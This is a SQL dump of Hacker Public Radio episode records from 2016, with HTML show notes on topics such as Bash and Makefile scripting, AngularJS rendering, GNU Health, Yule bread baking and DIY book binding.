(2096,'2016-08-15','Useful Bash functions - part 2',1401,'The further development of a Bash function that may be of use in your scripts','<h1 id=\"useful-bash-functions---part-2\">Useful Bash functions - part 2</h1>\r\n<h2 id=\"overview\">Overview</h2>\r\n<p>This is the second show about Bash functions. In this one I revisit the <code>yes_no</code> function from the last episode and deal with some of the deficiencies of that version.</p>\r\n<p>As before it would be interesting to receive feedback on these versions of the function and would be great if other Bash users contributed ideas of their own.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are long, they have been placed <a href=\"https://hackerpublicradio.org/eps/hpr2096/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Previous HPR episode in this group <em>Useful Bash functions</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1757\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1757</a></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','coding,Bash,script,function',0,0,1),
(2186,'2016-12-19','Baking Yule Bread',1075,'\'Tis the season and Inscius is baking Yule bread, Swedish style.','<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Yule\">Yule</a></li>\r\n<li><a href=\"https://www.virtuousbread.com/bread-and-conversation/what-is-scalded-flour-and-why-use-scalded-flour/\">Scalded</a> whole rye flour.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Bitter_orange\">Dried bitter orange</a> - 2 pieces, i.e. about half of the peel from one bitter orange.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Porter_(beer)\">Porter</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wort\">Wort</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Treacle\">Syrup/Treacle</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Clove\">Cloves</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Elettaria_cardamomum\">Cardamom</a></li>\r\n<li>Raisins</li>\r\n<li>Salt</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Ginger\">Ginger</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Baker&#39;s_yeast\">Yeast</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Spelt\">Dinkel/Spelt</a></li>\r\n<li>Cinnamon powder</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Sheet_pan\">Baking trays</a> and <a href=\"https://en.wikipedia.org/wiki/Bread_pan\">bread pans</a>.</li>\r\n</ul>\r\n<p>Dough after rising one hour:</p>\r\n<p><img src=\"https://inscius.se/wp-content/uploads/2016/12/yulebreaddough.jpg\" alt=\"Bread dough\" /></p>\r\n<p>Loaves after rising:</p>\r\n<p><img src=\"https://inscius.se/wp-content/uploads/2016/12/yuleloaves.jpg\" alt=\"Three loaves on tray before baking\" /></p>\r\n<p>Finished bread (photo from another occasion):</p>\r\n<p><img src=\"https://inscius.se/wp-content/uploads/yulebread-300x168.jpg\" title=\"Swedish Yule bread\" alt=\"Loaves of Yule Bread\" /></p>\r\n<p>Recording device: Zoom H2n</p>\r\n',283,93,1,'CC-BY-SA','Christmas,cooking',0,0,1),
(2093,'2016-08-10','GNU Health',1202,'I talk to my friend Tom and his collaborator Euan who are working on a project using GNU Health','<h1 id=\"gnu-health\">GNU Health</h1>\r\n<p>This is an interview with Dr Tom Kane and his student Euan Livingstone in Tom’s office at Edinburgh Napier University (ENU) on 2016-07-06.</p>\r\n<p>Tom and Euan are investigating ways of running <a href=\"https://health.gnu.org/\" title=\"GNU Health\">GNU Health</a> for evaluation and demonstration purposes, using multiple Raspberry Pi systems and an Intel NUC. In particular they want to evaluate the conformity of interoperability (<a href=\"https://en.wikipedia.org/wiki/Fast_Healthcare_Interoperability_Resources\" title=\"FHIR\">FHIR</a>) standards, and are trying to build a reference implementation for decision makers who are procuring a Health and Hospital Information System.</p>\r\n<p>In the interview Tom used some terminology that I have provided links for here and at the end:</p>\r\n<ul>\r\n<li><em>LIMS</em>: <a href=\"https://en.wikipedia.org/wiki/Laboratory_information_management_system\" title=\"LIMS\">Laboratory Information Management System</a></li>\r\n<li><em>PACS</em>: <a href=\"https://en.wikipedia.org/wiki/Picture_archiving_and_communication_system\" title=\"PACS\">Picture Archiving and Communication System</a></li>\r\n<li><em>FHIR</em>: <a href=\"https://en.wikipedia.org/wiki/Fast_Healthcare_Interoperability_Resources\" title=\"FHIR\">Fast Healthcare Interoperability Resources</a></li>\r\n</ul>\r\n<p>I had forgotten where I’d seen Luis Falcón, originator of GNU Health, being interviewed. It was on <a href=\"https://twit.tv/shows/floss-weekly/episodes/288\" title=\"FLOSS Weekly\">FLOSS Weekly</a>, as linked below.</p>\r\n<p>The complete notes for this episode, with pictures of the equipment, are <a href=\"https://hackerpublicradio.org/eps/hpr2093/full_shownotes.html\">here</a>.</p>\r\n<p>Thanks to Tom and Euan for taking the time to talk to me.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><em>GNU Health</em> website: <a href=\"https://health.gnu.org/\" class=\"uri\">https://health.gnu.org/</a></li>\r\n<li><em>GNU Health</em> Wikipedia page: <a href=\"https://en.wikipedia.org/wiki/GNU_Health\" class=\"uri\">https://en.wikipedia.org/wiki/GNU_Health</a></li>\r\n<li><em>Tryton</em> application platform: <a href=\"https://www.tryton.org/\" class=\"uri\">https://www.tryton.org/</a></li>\r\n<li>Luis Falcón, MD:\r\n<ul>\r\n<li>On Twitter (<span class=\"citation\" data-cites=\"meanmicio\">@meanmicio</span>): <a href=\"https://twitter.com/meanmicio\" class=\"uri\">https://twitter.com/meanmicio</a></li>\r\n<li>On the web: <a href=\"https://www.meanmicio.org/\" class=\"uri\">https://www.meanmicio.org/</a></li>\r\n</ul></li>\r\n<li>Wikipedia page for <em>SAP SE</em>: <a href=\"https://en.wikipedia.org/wiki/SAP_SE\" class=\"uri\">https://en.wikipedia.org/wiki/SAP_SE</a></li>\r\n<li><em>LIMS</em> (Laboratory Information Management System):\r\n<ul>\r\n<li>Wikipedia page : <a href=\"https://en.wikipedia.org/wiki/Laboratory_information_management_system\" class=\"uri\">https://en.wikipedia.org/wiki/Laboratory_information_management_system</a></li>\r\n<li><em>BIKA</em> LIMS: <a href=\"https://www.bikalabs.org/\" class=\"uri\">https://www.bikalabs.org/</a></li>\r\n</ul></li>\r\n<li><em>PACS</em> (Picture Archiving and Communication System):\r\n<ul>\r\n<li>Wikipedia page: <a href=\"https://en.wikipedia.org/wiki/Picture_archiving_and_communication_system\" class=\"uri\">https://en.wikipedia.org/wiki/Picture_archiving_and_communication_system</a></li>\r\n<li><em>DICOM</em> (Digital Imaging and Communications in Medicine):\r\n<ul>\r\n<li>Wikipedia page: <a href=\"https://en.wikipedia.org/wiki/DICOM\" class=\"uri\">https://en.wikipedia.org/wiki/DICOM</a></li>\r\n<li><em>Orthanc</em> DICOM server: <a href=\"https://www.orthanc-server.com/\" class=\"uri\">https://www.orthanc-server.com/</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Wikipedia page on <em>Fast Healthcare Interoperability Resources</em>: <a href=\"https://en.wikipedia.org/wiki/Fast_Healthcare_Interoperability_Resources\" class=\"uri\">https://en.wikipedia.org/wiki/Fast_Healthcare_Interoperability_Resources</a></li>\r\n<li>FLOSS WEEKLY episode 288 “<em>GNU Health</em>”: <a href=\"https://twit.tv/shows/floss-weekly/episodes/288\" class=\"uri\">https://twit.tv/shows/floss-weekly/episodes/288</a></li>\r\n<li>Jamaica Ministry of Health:\r\n<ul>\r\n<li>From opensource.com “<em>Jamaica adopts GNU Health</em>”: <a href=\"https://opensource.com/health/13/11/jamaica-adopts-gnu-health\" class=\"uri\">https://opensource.com/health/13/11/jamaica-adopts-gnu-health</a></li>\r\n<li>Ministry of Health Jamaica, Health Informatics: <a href=\"https://moh.gov.jm/divisions-agencies/divisions/technical-services-division/health-informatics/\" class=\"uri\">https://moh.gov.jm/divisions-agencies/divisions/technical-services-division/health-informatics/</a></li>\r\n</ul></li>\r\n<li>Nelson Mandela Children’s Hospital:\r\n<ul>\r\n<li>Website: <a href=\"https://www.nelsonmandelachildrenshospital.org/\" class=\"uri\">https://www.nelsonmandelachildrenshospital.org/</a></li>\r\n<li>Bongi Mkhabela, CEO NMCH Trust: <a href=\"https://whoswho.co.za/sibongile-mkhabela-1939\" class=\"uri\">https://whoswho.co.za/sibongile-mkhabela-1939</a></li>\r\n</ul></li>\r\n<li>Wikipedia page on the <em>Intel NUC</em> (Next Unit of Computing): <a href=\"https://en.wikipedia.org/wiki/Next_Unit_of_Computing\" class=\"uri\">https://en.wikipedia.org/wiki/Next_Unit_of_Computing</a></li>\r\n<li>Dr Tom Kane, Edinburgh Napier University: <a href=\"https://www.iidi.napier.ac.uk/c/people/peopleid/13383286\" class=\"uri\">https://www.iidi.napier.ac.uk/c/people/peopleid/13383286</a></li>\r\n<li>Euan Livingstone (<span class=\"citation\" data-cites=\"euanlivingstone\">@euanlivingstone</span>): <a href=\"https://twitter.com/euanlivingstone\" class=\"uri\">https://twitter.com/euanlivingstone</a></li>\r\n</ul>',225,78,1,'CC-BY-SA','Interview,Linux,hospital,Hospital Information System,GNU Health,Raspberry Pi,NUC,LIMS,PACS,FHIR',0,0,1),
(2094,'2016-08-11','Custom Keystrokes for Desktop Navigation on Gnome',844,'I demonstrate how to add custom keystrokes for desktop navigation on classic gnome','\r\n<p>In this episode I talk about how to set up custom keystrokes so that you can launch or switch to applications easily using the <code>super</code> key on your keyboard. I do this on the classic Gnome desktop environment and have not tested it on Gnome 3 or Unity to see whether it works on those.</p>\r\n\r\n<p>To create a new custom keystroke, open <code>System Settings</code>, then go to <code>Keyboard</code> and <code>Shortcuts</code>. Click on the plus sign to open the dialog box where you specify the name of the keystroke and the command that is to be launched when the keystroke is executed. Click \"Apply\" and then click \"Disabled\" and it will allow you to type the keystroke you want to use.</p>\r\n\r\n<p>At this point the keystroke configuration is ready, but you have to either log out of the current session and log back in, or find some other way to reload the desktop environment configuration before you can actually use the keystroke.</p>\r\n\r\n<p>I also talked about how I use my own scripts to check to see whether a program is running, and then either switch to that program if it\'s running or launch it if it\'s not. Here is an example for launching or switching to LibreOffice.</p>\r\n\r\n<pre>#!/bin/bash\r\n\r\n# Look for the string &quot;LibreOffice&quot; on the list of \r\n# window titles and check the return code\r\n\r\nchecktitle=$(wmctrl -l | grep &quot;LibreOffice&quot; &amp;&gt; /dev/null ; echo $?)\r\n\r\n# If the return code is 0 that means it found the \r\n# string, so I use wmctrl to switch to the window \r\n# that has that string in the title. \r\n\r\nif [ $checktitle == 0 ] ; then\r\n    wmctrl -a &quot;LibreOffice&quot;\r\n    \r\n# If it returns a 1, then that means it did not \r\n# find a window with that string in it so I \r\n# launch the application.\r\n    \r\n  else\r\n    loffice &amp;\r\nfi\r\n</pre>\r\n\r\n<p>Save the script somewhere in your PATH, make it executable, and then use the script name in the command when you\'re setting up the keystroke.</p>\r\n',238,79,0,'CC-BY-SA','Scripting, Linux, Desktop Environments, Accessibility',0,0,1),
(2098,'2016-08-17','Minimal Music Site?',768,'Matt King discussing the availability of an open source multimedia focused website.','<p>Project available <a href=\"https://sourceforge.net/p/minimal-music-site\" class=\"uri\">https://sourceforge.net/p/minimal-music-site</a></p>\r\n<p><em>\r\nA very small responsive website for uploading content. Originally designed primarily for musicians needing an easy interface to share content. Upload files in the admin pages. Automatically saves files in directories and lists content on main pages by date. I\'m sure there are many improvements that could be made.</em>\r\n</p>',340,0,1,'CC-BY-SA','music,sourceforge,PHP,CSS3,mandrake,ardour',0,0,1),
(2099,'2016-08-18','Dat Muzak Showz',2312,'Lyle (x1101) and Thaj talk about making music on Linux','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>Note, starting any of while doing anything else with audio is probably a poor choice. At least in Linux. Because Linux audio is still slightly Lovecraftian.</p>\r\n<p>Tools Thaj suggested:</p>\r\n<ul>\r\n<li>LMMS,</li>\r\n<li>Ardour,</li>\r\n<li>Qtractor,</li>\r\n<li>Fluidsynth,</li>\r\n<li>Hydrogen,</li>\r\n<li>Luppp,</li>\r\n<li>Guitarix,</li>\r\n<li>Rackarack</li>\r\n</ul>\r\n<p><a href=\"https://www.youtube.com/watch?v=MPmkd0fgiLU\" class=\"uri\">https://www.youtube.com/watch?v=MPmkd0fgiLU</a></p>\r\n',276,0,1,'CC-BY-SA','Linux, Audio',0,0,1),
(2102,'2016-08-23','AngularJS\'s ng-repeat, and the browser that shall not be named',636,'A method for optimizing the rendering of items when using AngularJS\'s ng-repeat directive.','<h1 id=\"introduction\">Introduction</h1>\r\n<p>At my work, we are in the process of revamping our internal call logging system. Moving from .NET and Microsoft’s ASPX pages for both the client side and back end processing, to an HTML5 based Single Page Application (SPA) using AngularJS for the client side interface with a .NET WebAPI service for the back end processing. The main page for both versions contains a list of the current days calls laid out in a table with 9 columns. Users are able to switch to a specific day’s calls by selecting a date via a calendar widget, or by moving one day at a time via previous and next day buttons. By the end of a typical day, the page will contain between 40 and 50 calls.</p>\r\n<p>During recent testing of the SPA client on the proprietary browser we all love to hate, or at least have a love/hate relationship with if you have to support it, I noticed that rendering of a whole days worth of calls would take seconds, freezing the UI completely. This made changing dates painful. As we reload the data any time you re-enter that page (a manual way to poll for new data until we implement either timer based polling or a push service through websockets), the page was almost unusable. The page rendered fine in both Mozilla and webkit based javascript JIT engines, but Microsoft’s engine would choke on it.</p>\r\n<p>After a bit of searching on “AngularJS slow rendering” and “AngularJS optimize”, I found many references about using Angular’s ng-repeat directive when rendering long lists of data (see references below for the main pages I read). I tried a couple of the methods mentioned to optimize the ng-repeat directive. I used the “track by” feature of ng-repeat to use the call’s id as the internal id of the row, so ng-repeat didn’t have to generate a hashed id for each row. I implemented Angular’s one-time binding feature to reduce the number of watches being created (reducing the test day’s number of watches from 1120 to 596), but even these two combined optimizations didn’t have enough effect to render the page in an acceptable amount of time. The next optimization I played with was using ng-repeat with the limitTo filter. This limits the number of items rendered in the list that ng-repeat is looping through. This is particularly useful combined with paging of the data. I set the limitTo option to different values to see how it affected the rendering time. I found that rendering 5 rows was fast and consistent for every day’s worth of data I viewed. From my reading, I knew if I updated the limitTo amount while keeping the array of items the same, ng-repeat would only render any un-rendered items, and not redo the whole limited list.</p>\r\n<h1 id=\"the-code\">The Code</h1>\r\n<pre><code>&lt;tr ng-repeat=&quot;c in results | limitTo:displayRenderSize&quot;&gt;</code></pre>\r\n<p>Inside your directive, set an angular.$watch on the list of items to be rendered by ng-repeat. In this example the list is stored in the variable results.</p>\r\n<pre><code>return {\r\n        scope: {\r\n            results: &quot;=&quot;,\r\n    },\r\n        link: function (scope, element, attrs) {\r\n            scope.renderSizeIncrement = 5;\r\n            scope.displayRenderSize = scope.renderSizeIncrement;\r\n\r\n            scope.$watch(&#39;results&#39;, function () {\r\n                if (scope.results) {\r\n                    scope.displayRenderSize = scope.renderSizeIncrement;\r\n                    scope.updateDisplayRenderSize();\r\n                }\r\n            });\r\n            scope.updateDisplayRenderSize = function () {\r\n                if (scope.displayRenderSize &lt; scope.results.length) {\r\n                    scope.displayRenderSize += scope.renderSizeIncrement;\r\n                    $timeout(scope.updateDisplayRenderSize, 0);\r\n                }\r\n            }\r\n        }\r\n    }\r\n}</code></pre>\r\n<p>Any time the results are updated. The displayRenderSize variable is reset to render the default number of items, and the updateDisplayRenderSize function is called. This function calls itself repeatedly via angular’s $timeout service ($timeout is a wrapper for javascript’s setTimeout function). It increments the displayRenderSize variable which is being watched by the limitTo filter of the main ng-repeat. Each time the displayRenderSize variable is incremented, the ng-repeat renders the next set of items. This is repeated until all the items in the list are rendered.</p>\r\n<p>The magic happens because ng-repeat blocks any other javascript, which does not effect angular’s digest path, until it is finished rendering. By calling the updateDisplayRenderSize with a timeout, the function doesn’t get called again until after the next set of items is rendered. Making the $timeout delay 0, sets the function to be called as soon as possible after the ng-repeat digest cycle stops blocking. In this instance, the sum of the rendering time for parts of the list is shorter than the sum of the rendering time for all of the list at one time.</p>\r\n<h1 id=\"conclusion\">Conclusion</h1>\r\n<p>There are a couple small glitches with this solution. Scrolling can be a bit jerky as the chunk sized renders cause a series of micro UI freezes, instead of one big long one. Also, if you don’t have a fixed or 100% percent wide table layout, and you don’t have fixed column sizes, the table layout will dance a little on the screen until the columns have been filled with their largest amounts of data. This is the result of the table layout being re-calculated as more data fills it. That being said, overall, this solution works great. It moved the pause from seconds to under half a second or less—making the page go from unbearable to usable on Microsoft’s latest browser offerings.</p>\r\n<h1 id=\"references\">References</h1>\r\n<p>[1] AngularJS Performance Tuning for Long Lists; Small Improvements; Tech blog; blog; viewed: 2016-08-09</p>\r\n<p>[2] Optimizing ng-repeat in AngularJS; Fundoo Solutions; blog; viewed: 2016-08-09</p>\r\n<p>[3] AngularJS: My solution to the ng-repeat performance problem; thierry nicola; blog; published: July 24, 2013; viewed: 2016-0809</p>\r\n',293,0,0,'CC-BY-SA','angularjs, ng-repeat, optimization, SPA',0,0,1),
(2101,'2016-08-22','What\'s on my podcatcher',597,'Some of the podcasts I listen to','<p>A short show about the podcasts I like to listen to.</p>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/hpr_rss.php\">HPR</a></li>\r\n<li><a href=\"https://goinglinux.com/oggpodcast.xml\">Going Linux</a></li>\r\n<li><a href=\"https://www.linuxvoice.com/podcast_ogg.rss\">Linux Voice</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/computeractionshowvideo\">Linux Action Show</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxunogg\">Linux Unplugged</a></li>\r\n<li><a href=\"https://mintcast.org/category/ogg/feed\">Mint Cast</a></li>\r\n<li><a href=\"https://smlr.us/?feed=smlr-ogg\">The Sunday Morning Linux Review</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/thepipodcast\">The Pi Podcast</a></li>\r\n<li><a href=\"https://feed.ubuntupodcast.org/ogg\">Ubuntu Podcast</a></li>\r\n<li><a href=\"https://www.bbc.co.uk/programmes/b01klvhq/episodes/downloads.rss\">BBC - The Kitchen Cabinet</a></li>\r\n<li><a href=\"https://downloads.bbc.co.uk/podcasts/radio4/timc/rss.xml\">BBC - The Infinite Monkey Cage</a></li>\r\n<li><a href=\"https://downloads.bbc.co.uk/podcasts/radio4/tls/rss.xml\">BBC - The Life Scientific</a></li>\r\n<li><a href=\"https://www.bbc.co.uk/programmes/b006qk11/episodes/downloads.rss\">BBC - The Moral Maze</a></li>\r\n<li><a href=\"https://downloads.bbc.co.uk/podcasts/radio4/iot/rss.xml\">BBC - In Our Time</a></li>\r\n</ul>',338,75,1,'CC-BY-SA','podcast,podcatcher',0,0,1),
(2103,'2016-08-24','DIY Book Binding',636,'With no shows in the queue, Ken rushes in a show on his latest hacks','<p>\r\nI love books, dislike technology when reading about technology, so what to do when the only available option is a pdf or ebook format ?\r\n</p>\r\n<p>\r\nWith a <a href=\"https://hackerpublicradio.org/eps.php?id=1480\" target=\"_blank\">hpr1480 :: Continuous Ink Supply System</a> and 500 pages of A4 paper costing just €3, the option to print out books at home is not only possible but down right affordable. Even more so when when printing booklet format of 4 pages per physical sheet of paper.\r\n</p>\r\n<p>\r\nSmall books of around 100 pages/25 sheets and a long arm stapler works fine, of larger sizes you can get a <a href=\"https://en.wikipedia.org/wiki/Comb_binding\" target=\"_blank\">Comb binding machine</a> but I dislike the sound and feel of these solutions\r\n</p>\r\n<p>\r\nMy solution, a Jig Saw, some wood clamps, PVC Plumbers Glue, and some drywall/plaster board <a href=\"https://www.alabastine.nl/wp-content/uploads/2011/01/Bouwscheurentape.pdf\" target=\"_blank\">tape (pdf)</a>\r\n</p>\r\n<p>\r\n<img src=https://hackerpublicradio.org/eps/hpr2103_1.jpg alt=\"Clamping the book and cut in half with a Jig Saw\" /><br />\r\nClamping the book and cut in half with a Jig Saw.\r\n</p>\r\n\r\n<p>\r\n<img src=https://hackerpublicradio.org/eps/hpr2103_2.jpg alt=\"Clamp both halves together, aligning them together on their uncut edge, and trim the cut edges to give a clean cut\" /><br />\r\nClamp both halves together, aligning them together on their uncut edge, and trim the cut edges to give a clean cut.\r\n</p>\r\n\r\n<p>\r\n<img src=https://hackerpublicradio.org/eps/hpr2103_3.jpg alt=\"Builders supply stores and DIY shops carry the tape and glue\" /><br />\r\nBuilders supply stores and DIY shops carry the tape and glue.\r\n</p>\r\n\r\n<p>\r\n<img src=https://hackerpublicradio.org/eps/hpr2103_4.jpg alt=\"Glue and tape repeatedly and allow to dry\" /><br />\r\nNow apply a liberal amount of glue to the cut edge, apply the tape and let it dry for 30 minutes. Then apply another layer of glue and fold down the excess tape. Apply at least two more applications of glue.\r\n</p>\r\n',30,0,1,'CC-BY-SA','book binding,comb binding,jig saw,wood clamp',0,0,1),
(2107,'2016-08-30','Makefiles for Everyday Use',1392,'I talk about how I use Makefiles in my Lilypond and HTML projects','<p>In this episode I talk about how I use Makefiles to ease the process of building complicated projects in <a href=\"https://lilypond.org/\">Lilypond</a> and HTML. You can use Makefiles to run any kinds of commands you want. It does not have to be building actual computer programs. In my case I use them to build musical scores and web pages. Keep in mind I\'m not an expert on this, and I\'m hoping I will make enough mistakes that it will prompt a series of follow-up episodes by people who actually know what they\'re talking about.</p>\r\n\r\n<p>Here\'s an example. This is the Makefile for my Counterpoint workbook <a href=\"https://jonathankulp.org/gratis.html\"><em>Gratis ad Parnassum</em></a>, which I wrote in 2009. Written in a combination of <a href=\"https://www.latex-project.org/\"><span style=\"font-family: \'CMU Serif\', cmr10, LMRoman10-Regular, \'Nimbus Roman No9 L\', \'Times New Roman\', Times, serif;\">L<span style=\"text-transform: uppercase; font-size: 70%; margin-left: -0.36em; vertical-align: 0.3em; line-height: 0; margin-right: -0.15em;\">a</span>T<span style=\"text-transform: uppercase; margin-left: -0.1667em; vertical-align: -0.5ex; line-height: 0; margin-right: -0.125em;\">e</span>X</span></a>\r\n and Lilypond, this requires very complicated and long commands to build the workbook, and I found that the only way to do this project in a sane manner was to create a Makefile that would keep track of changes in the files and only rebuild when necessary. It also meant that the only commands I would have to type were very simple, because the long command line options were all stored in the Makefile.</p>\r\n\r\n<pre>SHELL=/bin/bash<br/>FILE=workbook_main<br/>OUTDIR=out<br/>WEBDIR=htmlout<br/>VIEWER=evince<br/>BROWSER=firefox<br/>LILYBOOK_PDF=lilypond-book&nbsp;--output=$(OUTDIR)&nbsp;--pdf&nbsp;$(FILE).lytex<br/>LILYBOOK_HTML=lilypond-book&nbsp;--output=$(WEBDIR)&nbsp;$(FILE).lytex<br/>PDF=cd&nbsp;$(OUTDIR)&nbsp;&amp;&amp;&nbsp;pdflatex&nbsp;$(FILE)<br/>HTML=cd&nbsp;$(WEBDIR)&nbsp;&amp;&amp;&nbsp;latex2html&nbsp;$(FILE)<br/>INDEX=cd&nbsp;$(OUTDIR)&nbsp;&amp;&amp;&nbsp;makeindex&nbsp;$(FILE)<br/>PREVIEW=$(VIEWER)&nbsp;$(OUTDIR)/$(FILE).pdf&nbsp;&gt;&amp;&nbsp;/dev/null<br/><br/>all:&nbsp;pdf&nbsp;web<br/><br/>pdf:<br/>	$(LILYBOOK_PDF)<br/>	$(PDF)<br/>	$(INDEX)<br/>	$(PDF)<br/>	$(PREVIEW)<br/><br/>web:<br/>	$(LILYBOOK_HTML)<br/>	$(HTML)<br/>	cp&nbsp;-R&nbsp;$(WEBDIR)/$(FILE)/&nbsp;./<br/>	sleep&nbsp;1<br/>	sh&nbsp;html-sed-fixes.sh<br/>	$(BROWSER)&nbsp;$(FILE)/index.html&nbsp;&amp;<br/><br/>keep:&nbsp;pdf<br/>	cp&nbsp;$(OUTDIR)/$(FILE).pdf&nbsp;gratis.pdf<br/>	pdftk&nbsp;gratis.pdf&nbsp;update_info&nbsp;gratis.info&nbsp;output&nbsp;GratisAdParnassum.pdf<br/><br/>clean:<br/>	rm&nbsp;-rf&nbsp;$(OUTDIR)<br/><br/>web-clean:<br/>	rm&nbsp;-rf&nbsp;$(WEBDIR)<br/><br/>archive:<br/>	tar&nbsp;-cvvf&nbsp;free-counterpoint.tar&nbsp;\\<br/>	--exclude=out/*&nbsp;\\<br/>	--exclude=*.tar&nbsp;\\<br/>	--exclude=*.zip&nbsp;\\<br/>	--exclude=htmlout/*&nbsp;\\<br/>	--exclude=workbook_main/*&nbsp;\\<br/>	--exclude=*midi&nbsp;\\<br/>	--exclude=*pdf&nbsp;\\<br/>	--exclude=*~&nbsp;\\<br/>	../FreeCounterpoint/*<br/>	tar&nbsp;-xvvf&nbsp;free-counterpoint.tar<br/>	zip&nbsp;-r&nbsp;free-counterpoint.zip&nbsp;FreeCounterpoint<br/>	rm&nbsp;-R&nbsp;FreeCounterpoint<br/></pre>\r\n\r\n<p>And here is the Makefile for my song collection called <a href=\"https://jonathankulp.org/lorca.html\"><em>Canciones para niños</em></a>, using Lilypond source files.</p>\r\n\r\n<pre>SHELL=/bin/bash<br/>piece&nbsp;=&nbsp;lorca<br/>#CPU_CORES=`cat&nbsp;/proc/cpuinfo&nbsp;|&nbsp;grep&nbsp;-m1&nbsp;&quot;cpu&nbsp;cores&quot;&nbsp;|&nbsp;sed&nbsp;s/&quot;.*:&nbsp;&quot;//`<br/>LILY_CMD&nbsp;=&nbsp;lilypond&nbsp;-ddelete-intermediate-files&nbsp;\\<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-dno-point-and-click&nbsp;#-djob-count=$(CPU_CORES)<br/><br/>notes&nbsp;=&nbsp;\\<br/>cancioncilla.ily&nbsp;\\<br/>cantada.ily&nbsp;\\<br/>caracola.ily&nbsp;\\<br/>china.ily&nbsp;\\<br/>lagarto.ily&nbsp;\\<br/>nana.ily&nbsp;\\<br/>paisaje.ily&nbsp;\\<br/>remanso.ily<br/><br/>.SUFFIXES:&nbsp;.ly&nbsp;.ily&nbsp;.pdf&nbsp;.midi<br/><br/>#CURDIR&nbsp;=&nbsp;$(shell&nbsp;pwd)<br/>VPATH&nbsp;=&nbsp;$(CURDIR)/Scores&nbsp;$(CURDIR)/PDF&nbsp;$(CURDIR)/Parts&nbsp;$(CURDIR)/Notes<br/><br/>%.ly:&nbsp;%.ily<br/>%.pdf&nbsp;%.midi:&nbsp;&nbsp;%.ly&nbsp;<br/>	$(LILY_CMD)&nbsp;$&lt;<br/>	mv&nbsp;*.pdf&nbsp;PDF/<br/>	mv&nbsp;*.midi&nbsp;MIDI/<br/><br/>$(piece).pdf:&nbsp;$(notes)&nbsp;<br/><br/>cancioncilla.pdf:&nbsp;cancioncilla.ly&nbsp;cancioncilla.ily<br/>cantada.pdf:&nbsp;cantada.ly&nbsp;cantada.ily<br/>caracola.pdf:&nbsp;caracola.ly&nbsp;caracola.ily<br/>china.pdf:&nbsp;china.ly&nbsp;china.ily<br/>lagarto.pdf:&nbsp;lagarto.ly&nbsp;lagarto.ily<br/>nana.pdf:&nbsp;nana.ly&nbsp;nana.ily<br/>paisaje.pdf:&nbsp;paisaje.ly&nbsp;paisaje.ily<br/>remanso.pdf:&nbsp;remanso.ly&nbsp;remanso.ily<br/><br/>.PHONY:&nbsp;score<br/>score:&nbsp;$(piece).pdf<br/><br/>keep:&nbsp;score<br/>	cp&nbsp;$(CURDIR)/PDF/$(piece).pdf&nbsp;$(CURDIR)/CancionesParaNinos.pdf<br/><br/>archive:<br/>	tar&nbsp;-cvvf&nbsp;lorca.tar&nbsp;\\<br/>	--exclude=*.pdf&nbsp;\\<br/>	--exclude=*.midi&nbsp;\\<br/>	--exclude=*~&nbsp;\\<br/>	../Canciones/*<br/>	tar&nbsp;-xvvf&nbsp;lorca.tar<br/>	zip&nbsp;-r&nbsp;lorca.zip&nbsp;Canciones<br/>	rm&nbsp;-R&nbsp;Canciones<br/></pre>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://lilypond.org/\">Lilypond</a></li>\r\n	<li><a href=\"https://www.gnu.org/software/make/\">GNU Make</a></li>\r\n	<li><a href=\"https://www.latex-project.org/\"><span style=\"font-family: \'CMU Serif\', cmr10, LMRoman10-Regular, \'Nimbus Roman No9 L\', \'Times New Roman\', Times, serif;\">L<span style=\"text-transform: uppercase; font-size: 70%; margin-left: -0.36em; vertical-align: 0.3em; line-height: 0; margin-right: -0.15em;\">a</span>T<span style=\"text-transform: uppercase; margin-left: -0.1667em; vertical-align: -0.5ex; line-height: 0; margin-right: -0.125em;\">e</span>X</span></a></li>\r\n	<li><a href=\"https://jonathankulp.org/gratis.html\">My Counterpoint projects</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','Automation, Makefiles, Scripting, Programming',0,0,1),
(2108,'2016-08-31','Changing the Oil on My Wife\'s Car',1941,'Listen and enjoy as I change the oil on my wife\'s Honda CR-V','<p>Since people don’t seem to be adding enough shows, you’re going to be subjected to listening along while I change the oil on the car. This might be fascinating or it might be boring, but in either case I hope it inspires someone else to start uploading more shows. Incidentally, I recorded this whole thing on my phone, I’m doing these show notes on my phone, and am going to upload it from my phone as well, without adding the intro and outro music, showing just how easy it really is (as the saying goes).</p>',238,0,0,'CC-BY-SA','DIY, automotive, car maintenance ',0,0,1),
